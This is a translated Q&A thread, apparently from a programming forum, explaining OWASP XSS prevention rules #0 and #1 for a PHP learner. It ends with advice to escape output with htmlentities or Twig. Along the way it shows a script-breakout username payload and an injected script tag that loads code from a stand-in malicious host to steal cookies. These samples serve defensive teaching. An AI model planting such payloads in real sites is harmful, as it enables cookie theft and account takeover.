OWASP跨站点脚本规则


OWASP Cross Site Scripting rules?

我阅读有关XSS的文章是为了在使用PHP时自学安全。我指的是这篇文章,他们在文章中谈到了XSS和一些应该遵守的规则

有人能为我解释一下规则#0和规则#1吗?我理解他们保存的一些内容,但当他们说不可信的数据时,他们指的是用户输入的数据吗?

我正在处理一些表单,并试图遵守这些规则来防止XSS。问题是,一旦表单完成,我就从不向用户输出任何内容。我所做的只是处理数据并将其保存到文本文件中。我已经做了一些客户端和大量服务器端验证,但我不明白never insert untrusted data except in allowed locations的含义。

他们所说的escaping是指closing tags - </>?

规则#0意味着你不应该在网页的位置输出数据,因为它应该在那里运行指令。

如url所示,不要将用户生成的数据放在<script>标记中。例如,这是一个无:

<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+<?=$username?>+"!";
</script>

看起来很安全,对吧?好吧,如果你的$username变量包含以下值怎么办:

""; console.log(document.cookie);//

所以,在一个网站上,你要显示的是:

<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+""; console.log(document.cookie);//+"!";
</script>

因此,有人可以轻松窃取您用户的cookie并提升他们的权限。现在想象一下,您使用类似的代码来更新哪个用户创建了最新的帖子,并通过AJAX显示。如果你做了上面这样的事情(并且一开始就不清理用户名),那将是一场灾难。

同样适用于<style><img><embed><iframe>或任何其他允许您运行脚本或导入资源的标记。也适用于评论。浏览器忽略注释,但一些解释器(如JSP解析器)将HTML注释作为模板文本处理。它不会忽视它的内容。

规则#1与tu规则#0非常相似,如果你在某个时候开发网络应用程序,你必须输出用户生成的数据,无论是电子邮件地址、用户名、姓名还是其他什么。

如果你正在开发一个论坛,你可能想为用户的文本提供一些样式选项。基本的东西,比如粗体字母、下划线和斜体就足够了。如果你想变得花哨,你甚至可以让你的用户更改字体。

一个简单的方法是,如果用户选择编写自己的HTML,就让他们自己编写HTML,而不会太复杂。因此,如果你在"安全"位置(如<p>标签之间)从用户那里输出HTML,那么这也是一场等待发生的灾难。

因为我可以写:

大家好,这是我第一次发布<script src="//malicioussite.io/hackingYoCookiez.js"></script>

如果你不逃避输入,人们只会看到:

大家好,这是我的第一篇帖子!

但您的浏览器也会看到一个外部javascript,告诉它将每个人的cookie发送到远程位置。

所以总是逃避数据。如果你使用的是PHP,你可以使用htmlentities或使用像Twig这样的模板引擎,它会自动为你转义输出。